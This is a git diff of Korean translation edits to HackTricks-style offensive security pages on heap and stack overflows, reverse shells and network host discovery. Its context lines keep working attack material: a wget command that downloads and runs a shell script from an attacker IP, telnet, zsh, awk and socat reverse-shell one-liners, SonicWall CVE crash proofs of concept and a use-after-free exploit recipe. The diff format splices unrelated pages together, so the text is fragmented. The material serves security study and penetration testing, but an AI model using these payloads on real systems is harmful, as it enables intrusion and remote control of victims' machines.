[**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html)에서의 또 다른 예제는 **힙 오버플로우**를 악용하여 승리 함수 호출을 통해 **플래그를 얻는** 매우 기본적인 CTF 예제를 보여줍니다.
|
||||
|
||||
@ -39,13 +39,13 @@
|
||||
```bash
|
||||
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||
```
|
||||
### Other examples
|
||||
### 다른 예시
|
||||
|
||||
- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
|
||||
- 우리는 Integer Overflow 취약점을 사용하여 Heap Overflow를 발생시킵니다.
|
||||
- 우리는 오버플로된 청크의 `struct` 내부에 있는 함수에 대한 포인터를 손상시켜 `system`과 같은 함수를 설정하고 코드 실행을 얻습니다.
|
||||
- 우리는 오버플로우된 청크의 `struct` 내부에 있는 함수에 대한 포인터를 손상시켜 `system`과 같은 함수를 설정하고 코드 실행을 얻습니다.
|
||||
|
||||
### Real-World Example: CVE-2025-40597 – Misusing `__sprintf_chk`
|
||||
### 실제 사례: CVE-2025-40597 – `__sprintf_chk`의 오용
|
||||
|
||||
SonicWall SMA100 펌웨어 10.2.1.15에서 리버스 프록시 모듈 `mod_httprp.so`는 **0x80-byte** 힙 청크를 할당한 다음 `__sprintf_chk`를 사용하여 여러 문자열을 연결합니다:
|
||||
```c
|
||||
@ -69,10 +69,10 @@ headers={'Host': 'A'*750},
|
||||
verify=False
|
||||
)
|
||||
```
|
||||
실용적인 악용은 **heap grooming**을 필요로 하여 취약한 청크 바로 뒤에 제어 가능한 객체를 배치해야 하지만, 근본 원인은 두 가지 중요한 교훈을 강조합니다:
|
||||
실용적인 악용은 **heap grooming**을 요구하여 취약한 청크 바로 뒤에 제어 가능한 객체를 배치해야 하지만, 근본 원인은 두 가지 중요한 교훈을 강조합니다:
|
||||
|
||||
1. **_FORTIFY_SOURCE는 만능 해결책이 아니다** – 오용하면 보호 기능이 무효화될 수 있다.
|
||||
2. 항상 **올바른 버퍼 크기**를 `_chk` 계열에 전달해야 한다 (또는 더 나은 방법으로 `snprintf`를 사용하라).
|
||||
1. **_FORTIFY_SOURCE는 만능 해결책이 아닙니다** – 오용하면 보호 기능이 무효화될 수 있습니다.
|
||||
2. 항상 **올바른 버퍼 크기**를 `_chk` 계열에 전달해야 합니다 (또는, 더 나은 방법은 `snprintf`를 사용하는 것입니다).
|
||||
|
||||
## References
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
|
@ -44,7 +44,7 @@ d = malloc(20); // a
|
||||
---
|
||||
### 🔥 현대 glibc 고려사항 (tcache ≥ 2.26)
|
||||
|
||||
glibc 2.26부터 각 스레드는 **tcache**를 유지하며, 이는 정렬되지 않은 빈 *이전*에 쿼리됩니다. 따라서 첫 번째 적합 시나리오는 **다음과 같은 경우에만** 도달할 수 있습니다:
|
||||
glibc 2.26부터 각 스레드는 **tcache**를 유지하며, 이는 정렬되지 않은 빈 *앞에서* 쿼리됩니다. 따라서 첫 번째 적합 시나리오는 **다음과 같은 경우에만** 도달할 수 있습니다:
|
||||
|
||||
1. 요청된 크기가 **`tcache_max`** (기본적으로 64비트에서 0x420)보다 **커야** 하며, *또는*
|
||||
2. 해당 tcache 빈이 **이미 가득 차 있거나 수동으로 비워졌을 때** (7개의 요소를 할당하고 사용 중으로 유지).
|
||||
@ -60,7 +60,7 @@ tcache가 소진되면, 이후의 free는 정렬되지 않은 빈으로 가고
|
||||
---
|
||||
### 🚩 first-fit을 이용한 겹치는 청크 UAF 만들기
|
||||
|
||||
아래의 조각(테스트는 glibc 2.38에서 수행됨)은 정렬되지 않은 빈의 분할기를 악용하여 2개의 **겹치는 포인터**를 생성하는 방법을 보여줍니다. 이는 단일 free를 write-after-free로 변환하는 강력한 원시입니다.
|
||||
아래의 조각(테스트는 glibc 2.38에서 수행됨)은 정렬되지 않은 빈의 분할기를 악용하여 2개의 **겹치는 포인터**를 생성하는 방법을 보여줍니다. 이는 단일 free를 write-after-free로 변환하는 강력한 원시 기능입니다.
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -94,7 +94,7 @@ Exploitation recipe (common in recent CTFs):
|
||||
|
||||
1. **대상 크기에 대한 tcache를 비우기**.
|
||||
2. **청크를 해제하여 정렬되지 않은 빈에 배치하기**.
|
||||
3. **조금 더 작은 크기를 할당하기** – 할당자는 정렬되지 않은 청크를 나눕니다.
|
||||
3. **조금 더 작은 크기를 할당하기** – 할당자는 정렬되지 않은 청크를 분할합니다.
|
||||
4. **다시 할당하기** – 남은 부분이 기존 사용 중인 청크와 겹침 → UAF.
|
||||
5. 민감한 필드(함수 포인터, FILE vtable 등)를 덮어쓰기.
|
||||
|
||||
@ -106,7 +106,7 @@ Exploitation recipe (common in recent CTFs):
|
||||
### 🛡️ 완화 및 강화
|
||||
|
||||
* **안전한 링크(glibc ≥ 2.32)**는 단일 연결된 *tcache*/**fastbin** 목록만 보호합니다. 정렬되지 않은/작은/큰 빈은 여전히 원시 포인터를 저장하므로, 힙 누수를 얻을 수 있다면 첫 번째 적합 기반의 겹침이 여전히 유효합니다.
|
||||
* **힙 포인터 암호화 및 MTE** (ARM64)는 아직 x86-64 glibc에 영향을 미치지 않지만, `GLIBC_TUNABLES=glibc.malloc.check=3`와 같은 배포판 강화 플래그는 일관성 없는 메타데이터에서 중단되며 단순한 PoC를 깨뜨릴 수 있습니다.
|
||||
* **힙 포인터 암호화 및 MTE** (ARM64)는 아직 x86-64 glibc에 영향을 미치지 않지만, `GLIBC_TUNABLES=glibc.malloc.check=3`와 같은 배포판 강화 플래그는 일관되지 않은 메타데이터에서 중단되며 단순한 PoC를 깨뜨릴 수 있습니다.
|
||||
* **해제 시 tcache 채우기** (2024년 glibc 2.41에 제안됨)는 정렬되지 않은 사용을 더욱 줄일 것입니다; 일반적인 익스플로잇을 개발할 때 향후 릴리스를 모니터링하세요.
|
||||
|
||||
---
|
||||
@ -116,13 +116,13 @@ Exploitation recipe (common in recent CTFs):
|
||||
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
|
||||
- ARM64. Use after free: 사용자 객체를 생성하고, 해제한 후, 해제된 청크를 가져오는 객체를 생성하여 그에 쓸 수 있게 하여, **이전의 user->password 위치를 덮어쓰기**. 사용자를 재사용하여 **비밀번호 확인을 우회하기**
|
||||
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
|
||||
- 프로그램은 노트를 생성할 수 있습니다. 노트는 malloc(8)에서 노트 정보를 가지고 있으며(호출할 수 있는 함수에 대한 포인터 포함) 다른 malloc(<size>)에 노트의 내용을 가리키는 포인터를 가집니다.
|
||||
- 프로그램은 노트를 생성할 수 있습니다. 노트는 malloc(8)에서 노트 정보를 가지고 있으며(호출할 수 있는 함수에 대한 포인터 포함) 노트 내용을 가진 다른 malloc(<size>)에 대한 포인터를 가집니다.
|
||||
- 공격은 노트 정보 크기보다 더 큰 malloc 내용을 가진 2개의 노트(note0 및 note1)를 생성한 다음, 이를 해제하여 빠른 빈(또는 tcache)으로 들어가게 하는 것입니다.
|
||||
- 그런 다음, 내용 크기가 8인 또 다른 노트(note2)를 생성합니다. 내용은 note1에 있을 것이며, 청크가 재사용되므로 함수 포인터를 win 함수로 가리키도록 수정할 수 있고, 그런 다음 note1을 Use-After-Free하여 새로운 함수 포인터를 호출합니다.
|
||||
- 그런 다음, 내용 크기가 8인 또 다른 노트(note2)를 생성합니다. 내용은 note1에 있을 것이며, 청크가 재사용되므로 함수 포인터를 win 함수로 가리키도록 수정할 수 있으며, 그런 다음 note1을 Use-After-Free하여 새로운 함수 포인터를 호출합니다.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
|
||||
- 메모리를 할당하고 원하는 값을 쓰고, 해제한 후 재할당할 수 있으며, 이전 데이터가 여전히 존재하므로 청크의 새로운 예상 구조에 따라 처리되어 값을 설정하거나 플래그를 얻을 수 있습니다.
|
||||
- 메모리를 할당하고 원하는 값을 쓰고, 해제한 후, 재할당할 수 있으며, 이전 데이터가 여전히 존재하므로 청크의 새로운 예상 구조에 따라 처리되어 값을 설정하거나 플래그를 얻을 수 있습니다.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
|
||||
- 이 경우 특정 청크에 4를 써야 하며, 이는 할당된 첫 번째 청크입니다(모든 청크를 강제로 해제한 후에도). 각 새로 할당된 청크의 배열 인덱스 번호가 저장됩니다. 그런 다음 4개의 청크(+ 처음 할당된 청크)를 할당하고, 마지막 청크에는 4가 들어 있으며, 이를 해제하고 첫 번째 청크의 재할당을 강제로 하여 마지막으로 해제된 청크를 사용하게 됩니다. 이 청크에는 4가 들어 있습니다.
|
||||
- 이 경우, 특정 청크에 4를 써야 하며, 이는 할당된 첫 번째 청크입니다(모든 청크를 강제로 해제한 후에도). 각 새로 할당된 청크의 배열 인덱스 번호가 저장됩니다. 그런 다음 4개의 청크(+ 처음 할당된 청크)를 할당하고, 마지막 청크에는 4가 들어 있으며, 이를 해제하고 첫 번째 청크의 재할당을 강제로 하여 마지막으로 해제된 청크를 사용하게 됩니다. 이 청크에는 4가 들어 있습니다.
|
||||
- 2024 HITCON Quals Setjmp write-up (Quarkslab) – 실용적인 first-fit / 정렬되지 않은 분할 겹침 공격: <https://ctftime.org/writeup/39355>
|
||||
- Angstrom CTF 2024 *heapify* write-up – 정렬되지 않은 빈 분할을 악용하여 libc를 누출하고 겹침을 얻기: <https://hackmd.io/@aneii11/H1S2snV40>
|
||||
|
||||
|
@ -23,11 +23,11 @@ printf("You entered: %s\n", buffer);
|
||||
```
|
||||
### 스택 오버플로우 오프셋 찾기
|
||||
|
||||
스택 오버플로우를 찾는 가장 일반적인 방법은 매우 큰 입력의 `A`s를 주는 것입니다 (예: `python3 -c 'print("A"*1000)'`) 그리고 **주소 `0x41414141`에 접근하려고 시도했다는** `Segmentation Fault`를 기대하는 것입니다.
|
||||
스택 오버플로우를 찾는 가장 일반적인 방법은 매우 큰 `A` 입력을 주는 것입니다 (예: `python3 -c 'print("A"*1000)'`) 그리고 **주소 `0x41414141`에 접근하려고 시도했다는** 것을 나타내는 `Segmentation Fault`를 기대하는 것입니다.
|
||||
|
||||
게다가, 스택 오버플로우 취약점이 발견되면 **리턴 주소를 덮어쓸 수 있는 오프셋**을 찾아야 합니다. 이를 위해 일반적으로 **De Bruijn 시퀀스**가 사용됩니다. 주어진 크기 _k_의 알파벳과 길이 _n_의 부분 수열에 대해, **길이 _n_의 모든 가능한 부분 수열이 정확히 한 번씩 연속 부분 수열로 나타나는 순환 시퀀스**입니다.
|
||||
게다가, 스택 오버플로우 취약점이 발견되면 **리턴 주소를 덮어쓸 수 있는 오프셋**을 찾아야 합니다. 이를 위해 일반적으로 **De Bruijn 수열**이 사용됩니다. 주어진 크기 _k_의 알파벳과 길이 _n_의 부분 수열에 대해, **길이 _n_의 모든 가능한 부분 수열이 정확히 한 번씩 연속 부분 수열로 나타나는 순환 수열**입니다.
|
||||
|
||||
이렇게 하면 EIP를 제어하는 데 필요한 오프셋을 수동으로 파악할 필요 없이 이러한 시퀀스 중 하나를 패딩으로 사용하고, 그 패딩을 덮어쓴 바이트의 오프셋을 찾을 수 있습니다.
|
||||
이렇게 하면 EIP를 제어하는 데 필요한 오프셋을 수동으로 파악할 필요 없이 이러한 수열 중 하나를 패딩으로 사용하고, 그 패딩을 덮어쓴 바이트의 오프셋을 찾을 수 있습니다.
|
||||
|
||||
이를 위해 **pwntools**를 사용할 수 있습니다:
|
||||
```python
|
||||
@ -53,7 +53,7 @@ pattern search $rsp #Search the offset given the content of $rsp
|
||||
오버플로우가 발생하는 동안(오버플로우 크기가 충분히 큰 경우) **스택** 내의 지역 변수 값을 **덮어쓸** 수 있습니다. **EBP/RBP 및 EIP/RIP(또는 그 이상)**에 도달할 때까지 가능합니다.\
|
||||
이러한 유형의 취약점을 악용하는 가장 일반적인 방법은 **반환 주소를 수정하는 것**입니다. 이렇게 하면 함수가 끝날 때 **제어 흐름이 사용자가 지정한 포인터로 리디렉션됩니다**.
|
||||
|
||||
그러나 다른 시나리오에서는 **스택의 일부 변수 값을 덮어쓰는 것**만으로도 악용이 충분할 수 있습니다(예: 쉬운 CTF 챌린지).
|
||||
그러나 다른 시나리오에서는 **스택의 일부 변수 값을 덮어쓰는 것**만으로도 악용이 충분할 수 있습니다(예: 쉬운 CTF 챌린지에서).
|
||||
|
||||
### Ret2win
|
||||
|
||||
@ -73,7 +73,7 @@ stack-shellcode/
|
||||
|
||||
### ROP 및 Ret2... 기술
|
||||
|
||||
이 기술은 이전 기술의 주요 보호 장치를 우회하기 위한 기본 프레임워크입니다: **실행 불가능한 스택(NX)**. 그리고 이는 기존 바이너리의 명령어를 악용하여 임의의 명령을 실행하는 여러 다른 기술(ret2lib, ret2syscall...)을 수행할 수 있게 해줍니다:
|
||||
이 기술은 이전 기술의 주요 보호 장치를 우회하기 위한 기본 프레임워크입니다: **실행 불가능한 스택(NX)**. 그리고 기존 바이너리의 명령어를 악용하여 임의의 명령을 실행하는 여러 다른 기술(ret2lib, ret2syscall...)을 수행할 수 있게 해줍니다:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/
|
||||
@ -89,7 +89,7 @@ stack-shellcode/
|
||||
|
||||
## 보호 유형
|
||||
|
||||
취약점 악용을 방지하기 위한 여러 가지 보호 장치가 있습니다. 자세한 내용은 다음을 확인하세요:
|
||||
취약점 악용을 방지하기 위해 여러 가지 보호 장치가 있으며, 이를 확인할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/
|
||||
@ -97,7 +97,7 @@ stack-shellcode/
|
||||
|
||||
### 실제 사례: CVE-2025-40596 (SonicWall SMA100)
|
||||
|
||||
**`sscanf`는 신뢰할 수 없는 입력을 파싱하는 데 절대 신뢰해서는 안 된다**는 좋은 사례가 2025년 SonicWall의 SMA100 SSL-VPN 장치에서 나타났습니다. `/usr/src/EasyAccess/bin/httpd` 내의 취약한 루틴은 `/__api__/`로 시작하는 URI에서 버전과 엔드포인트를 추출하려고 시도합니다.
|
||||
**`sscanf`는 신뢰할 수 없는 입력을 파싱하는 데 결코 신뢰해서는 안 된다**는 좋은 사례가 2025년 SonicWall의 SMA100 SSL-VPN 장치에서 나타났습니다. `/usr/src/EasyAccess/bin/httpd` 내의 취약한 루틴은 `/__api__/`로 시작하는 URI에서 버전과 엔드포인트를 추출하려고 시도합니다.
|
||||
```c
|
||||
char version[3];
|
||||
char endpoint[0x800] = {0};
|
||||
@ -106,7 +106,7 @@ sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
||||
```
|
||||
1. 첫 번째 변환(`%2s`)은 `version`에 **두** 바이트를 안전하게 저장합니다 (예: `"v1"`).
|
||||
2. 두 번째 변환(`%s`)은 **길이 지정자가 없으므로**, `sscanf`는 **첫 번째 NUL 바이트**까지 계속 복사합니다.
|
||||
3. `endpoint`는 **스택**에 위치하고 **0x800 바이트 길이**이므로, 0x800 바이트보다 긴 경로를 제공하면 버퍼 뒤에 있는 모든 것을 손상시킵니다 ‑ **스택 카나리**와 **저장된 반환 주소**를 포함하여.
|
||||
3. `endpoint`가 **스택**에 위치하고 **0x800 바이트 길이**이기 때문에, 0x800 바이트보다 긴 경로를 제공하면 버퍼 뒤에 있는 모든 것을 손상시킵니다 ‑ **스택 카나리**와 **저장된 반환 주소**를 포함하여.
|
||||
|
||||
인증 **이전**에 충돌을 유발하기 위한 단일 행 개념 증명이 충분합니다:
|
||||
```python
|
||||
|
@ -47,7 +47,7 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
|
||||
```
|
||||
## Forward Shell
|
||||
|
||||
Linux 기반 웹 애플리케이션에서 **원격 코드 실행 (RCE)** 취약점을 다룰 때, 리버스 셸을 얻는 것은 iptables 규칙이나 복잡한 패킷 필터링 메커니즘과 같은 네트워크 방어에 의해 방해받을 수 있습니다. 이러한 제한된 환경에서는 손상된 시스템과 더 효과적으로 상호작용하기 위해 PTY (가상 터미널) 셸을 설정하는 대안적 접근 방식이 있습니다.
|
||||
Linux 기반 웹 애플리케이션에서 **원격 코드 실행 (RCE)** 취약점을 다룰 때, 리버스 셸을 얻는 것이 iptables 규칙이나 복잡한 패킷 필터링 메커니즘과 같은 네트워크 방어에 의해 방해받을 수 있습니다. 이러한 제한된 환경에서는 손상된 시스템과 더 효과적으로 상호작용하기 위해 PTY (가상 터미널) 셸을 설정하는 대안적 접근 방식이 있습니다.
|
||||
|
||||
이 목적을 위해 추천되는 도구는 [toboggan](https://github.com/n3rada/toboggan.git)으로, 이는 대상 환경과의 상호작용을 단순화합니다.
|
||||
|
||||
@ -118,7 +118,7 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-I
|
||||
```bash
|
||||
while true; do nc -l <port>; done
|
||||
```
|
||||
명령을 보내려면 입력하고 Enter를 누른 다음 CTRL+D를 누릅니다 (STDIN을 중지하려면).
|
||||
명령을 보내려면 입력하고, Enter를 누르고, CTRL+D를 눌러 STDIN을 중지합니다.
|
||||
|
||||
**희생자**
|
||||
```bash
|
||||
@ -226,7 +226,7 @@ zsh -c 'zmodload zsh/net/tcp; ztcp <ATTACKER-IP> <PORT>; zsh -i <&$REPLY >&$REPL
|
||||
```
|
||||
## Rustcat (rcat)
|
||||
|
||||
[https://github.com/robiot/rustcat](https://github.com/robiot/rustcat) – Rust로 작성된 현대적인 netcat 유사 리스너 (2024년부터 Kali에 패키징됨).
|
||||
[https://github.com/robiot/rustcat](https://github.com/robiot/rustcat) – 현대적인 netcat과 유사한 리스너로 Rust로 작성됨 (2024년부터 Kali에 패키징됨).
|
||||
```bash
|
||||
# Attacker – interactive TLS listener with history & tab-completion
|
||||
rcat listen -ib 55600
|
||||
@ -259,7 +259,7 @@ revsh -c 0.0.0.0:443 -key key.pem -cert cert.pem
|
||||
- `-p socks5://127.0.0.1:9050` : TOR/HTTP/SOCKS를 통한 프록시
|
||||
- `-t` : TUN 인터페이스 생성 (리버스 VPN)
|
||||
|
||||
전체 세션이 암호화되고 다중화되기 때문에, 일반 텍스트 `/dev/tcp` 셸을 차단할 수 있는 간단한 아웃바운드 필터링을 종종 우회합니다.
|
||||
전체 세션이 암호화되고 다중화되기 때문에, 일반 텍스트 `/dev/tcp` 셸을 종료시킬 수 있는 간단한 아웃바운드 필터링을 종종 우회합니다.
|
||||
|
||||
## OpenSSL
|
||||
|
||||
@ -295,13 +295,13 @@ victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
```bash
|
||||
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
|
||||
```
|
||||
## 핑거
|
||||
## Finger
|
||||
|
||||
**공격자**
|
||||
```bash
|
||||
while true; do nc -l 79; done
|
||||
```
|
||||
명령을 보내려면 입력하고 Enter를 누른 다음 CTRL+D를 눌러 STDIN을 중지합니다.
|
||||
명령을 보내려면 입력하고 Enter를 누른 다음 CTRL+D를 누릅니다 (STDIN을 중지하려면).
|
||||
|
||||
**희생자**
|
||||
```bash
|
||||
@ -334,7 +334,7 @@ close(Service)
|
||||
```
|
||||
## Xterm
|
||||
|
||||
이것은 포트 6001에서 귀하의 시스템에 연결을 시도합니다:
|
||||
이것은 포트 6001에서 귀하의 시스템에 연결을 시도할 것입니다:
|
||||
```bash
|
||||
xterm -display 10.0.0.1:1
|
||||
```
|
||||
@ -347,7 +347,7 @@ Xnest :1
|
||||
```
|
||||
## Groovy
|
||||
|
||||
by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) 주의: Java 리버스 셸은 Groovy에도 작동합니다.
|
||||
by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) 주의: Java reverse shell은 Groovy에서도 작동합니다.
|
||||
```bash
|
||||
String host="localhost";
|
||||
int port=8044;
|
||||
|
@ -13,7 +13,7 @@
|
||||
|
||||
이것은 호스트가 작동 중인지 여부를 확인하는 **가장 쉽고 빠른** 방법입니다.\
|
||||
일부 **ICMP** 패킷을 보내고 **응답을 기대**할 수 있습니다. 가장 쉬운 방법은 **에코 요청**을 보내고 응답을 기대하는 것입니다. 간단한 `ping`을 사용하거나 **범위**에 대해 `fping`을 사용할 수 있습니다.\
|
||||
또한 **nmap**을 사용하여 다른 유형의 ICMP 패킷을 보낼 수도 있습니다(이는 일반적인 ICMP 에코 요청-응답 필터를 피하는 데 도움이 됩니다).
|
||||
또한 **nmap**을 사용하여 다른 유형의 ICMP 패킷을 보낼 수 있습니다(이는 일반적인 ICMP 에코 요청-응답 필터를 피하는 데 도움이 됩니다).
|
||||
```bash
|
||||
ping -c 1 199.66.11.4 # 1 echo request to a host
|
||||
fping -g 199.66.11.0/24 # Send echo requests to ranges
|
||||
@ -22,16 +22,16 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet
|
||||
### TCP 포트 탐지
|
||||
|
||||
모든 종류의 ICMP 패킷이 필터링되는 경우가 매우 흔합니다. 그러므로 호스트가 작동 중인지 확인하기 위해 할 수 있는 것은 **열려 있는 포트를 찾는 것**입니다. 각 호스트는 **65535 포트**를 가지고 있으므로, "큰" 범위를 가지고 있다면 **각 호스트의 각 포트**가 열려 있는지 테스트할 수 없습니다. 그렇게 하면 너무 많은 시간이 소요됩니다.\
|
||||
따라서 필요한 것은 **빠른 포트 스캐너** ([masscan](https://github.com/robertdavidgraham/masscan))와 **가장 많이 사용되는 포트 목록**입니다:
|
||||
따라서 필요한 것은 **빠른 포트 스캐너** ([masscan](https://github.com/robertdavidgraham/masscan))와 **가장 많이 사용되는 포트** 목록입니다:
|
||||
```bash
|
||||
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
|
||||
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
|
||||
```
|
||||
`nmap`을 사용하여 이 단계를 수행할 수도 있지만, 속도가 느리고 `nmap`이 호스트를 식별하는 데 문제가 있습니다.
|
||||
`nmap`을 사용하여 이 단계를 수행할 수도 있지만, 속도가 느리고 `nmap`이 호스트 식별에 문제가 있습니다.
|
||||
|
||||
### HTTP 포트 탐색
|
||||
|
||||
이것은 **HTTP** **서비스**를 발견하는 데 집중하고 싶을 때 유용한 TCP 포트 탐색입니다:
|
||||
이것은 **HTTP** **서비스**를 발견하는 데 **집중**하고 싶을 때 유용한 TCP 포트 탐색입니다:
|
||||
```bash
|
||||
masscan -p80,443,8000-8100,8443 199.66.11.0/24
|
||||
```
|
||||
@ -43,14 +43,14 @@ nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
|
||||
# The -sV will make nmap test each possible known UDP service packet
|
||||
# The "--version-intensity 0" will make nmap only test the most probable
|
||||
```
|
||||
제안된 nmap 명령은 **/24** 범위 내의 모든 호스트에서 **상위 1000 UDP 포트**를 테스트하지만, 이것만으로도 **>20분**이 걸립니다. **가장 빠른 결과**가 필요하다면 [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner)를 사용할 수 있습니다: `./udp-proto-scanner.pl 199.66.11.53/24` 이 명령은 **UDP 프로브**를 예상 포트로 전송합니다 ( /24 범위의 경우 단 1분이 소요됩니다): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
제안된 nmap 명령은 **/24** 범위 내의 모든 호스트에서 **상위 1000 UDP 포트**를 테스트하지만, 이것만으로도 **>20분**이 걸립니다. **가장 빠른 결과**가 필요하다면 [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner)를 사용할 수 있습니다: `./udp-proto-scanner.pl 199.66.11.53/24` 이 명령은 **UDP 프로브**를 예상되는 **포트**로 전송합니다 ( /24 범위의 경우 단 1분이 소요됩니다): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
|
||||
### SCTP 포트 탐지
|
||||
```bash
|
||||
#Probably useless, but it's pretty fast, why not try it?
|
||||
nmap -T4 -sY -n --open -Pn <IP/range>
|
||||
```
|
||||
## Pentesting Wifi
|
||||
## Wifi 펜테스팅
|
||||
|
||||
여기에는 작성 당시 잘 알려진 모든 Wifi 공격에 대한 멋진 가이드가 있습니다:
|
||||
|
||||
@ -58,11 +58,11 @@ nmap -T4 -sY -n --open -Pn <IP/range>
|
||||
../pentesting-wifi/
|
||||
{{#endref}}
|
||||
|
||||
## Discovering hosts from the inside
|
||||
## 내부에서 호스트 발견하기
|
||||
|
||||
네트워크 내부에 있다면 가장 먼저 하고 싶은 것 중 하나는 **다른 호스트를 발견하는 것**입니다. **얼마나 많은 소음**을 낼 수/원하는지에 따라 다양한 작업을 수행할 수 있습니다:
|
||||
|
||||
### Passive
|
||||
### 수동
|
||||
|
||||
연결된 네트워크 내에서 호스트를 수동으로 발견하기 위해 이러한 도구를 사용할 수 있습니다:
|
||||
```bash
|
||||
@ -76,7 +76,7 @@ set net.show.meta true #more info
|
||||
### Active
|
||||
|
||||
Note that the techniques commented in [_**Discovering hosts from the outside**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) can be also **applied here**.\
|
||||
But, as you are in the **same network** as the other hosts, you can do **more things**:
|
||||
하지만, 당신이 다른 호스트와 **같은 네트워크**에 있기 때문에, **더 많은 작업**을 수행할 수 있습니다:
|
||||
```bash
|
||||
#ARP discovery
|
||||
nmap -sn <Network> #ARP Requests (Discover IPs)
|
||||
@ -98,16 +98,16 @@ alive6 <IFACE> # Send a pingv6 to multicast.
|
||||
```
|
||||
### Active ICMP
|
||||
|
||||
_외부에서 호스트 발견하기_에서 언급된 기술들([_**ICMP**_](#icmp))은 여기에서도 **적용될 수 있습니다**.\
|
||||
_외부에서 호스트 발견하기_에서 언급된 기술들([_**ICMP**_](#icmp))은 여기에도 **적용될 수 있습니다**.\
|
||||
하지만, 다른 호스트와 **같은 네트워크**에 있으므로 **더 많은 작업**을 수행할 수 있습니다:
|
||||
|
||||
- **서브넷 브로드캐스트 주소**에 **ping**을 보내면 ping이 **각 호스트**에 도달하고 그들이 **응답**할 수 있습니다: `ping -b 10.10.5.255`
|
||||
- **네트워크 브로드캐스트 주소**에 ping을 보내면 **다른 서브넷** 내의 호스트도 찾을 수 있습니다: `ping -b 255.255.255.255`
|
||||
- `nmap`의 `-PE`, `-PP`, `-PM` 플래그를 사용하여 각각 **ICMPv4 에코**, **타임스탬프**, **서브넷 마스크 요청**을 보내 호스트 발견을 수행합니다: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
- `nmap`의 `-PE`, `-PP`, `-PM` 플래그를 사용하여 각각 **ICMPv4 에코**, **타임스탬프**, 및 **서브넷 마스크 요청**을 보내 호스트 발견을 수행합니다: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
|
||||
### **Wake On Lan**
|
||||
|
||||
Wake On Lan은 **네트워크 메시지**를 통해 컴퓨터를 **켜는 데** 사용됩니다. 컴퓨터를 켜는 데 사용되는 매직 패킷은 **MAC Dst**가 제공되고 그 후 같은 패킷 내에서 **16번 반복되는** 패킷입니다.\
|
||||
Wake On Lan은 **네트워크 메시지**를 통해 컴퓨터를 **켜는 데** 사용됩니다. 컴퓨터를 켜는 데 사용되는 매직 패킷은 **MAC Dst**가 제공되고 그 후 같은 패킷 내에서 **16번 반복**되는 패킷입니다.\
|
||||
이러한 종류의 패킷은 일반적으로 **이더넷 0x0842** 또는 **포트 9로 UDP 패킷**으로 전송됩니다.\
|
||||
**[MAC]**이 제공되지 않으면 패킷은 **브로드캐스트 이더넷**으로 전송됩니다(그리고 브로드캐스트 MAC이 반복됩니다).
|
||||
```bash
|
||||
@ -117,7 +117,7 @@ wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
|
||||
```
|
||||
## 호스트 스캐닝
|
||||
|
||||
깊이 스캔하고자 하는 모든 IP(외부 또는 내부)를 발견한 후, 다양한 작업을 수행할 수 있습니다.
|
||||
깊이 스캔할 모든 IP(외부 또는 내부)를 발견한 후, 다양한 작업을 수행할 수 있습니다.
|
||||
|
||||
### TCP
|
||||
|
||||
@ -140,10 +140,10 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
|
||||
|
||||
UDP 포트를 스캔하는 방법은 2가지가 있습니다:
|
||||
|
||||
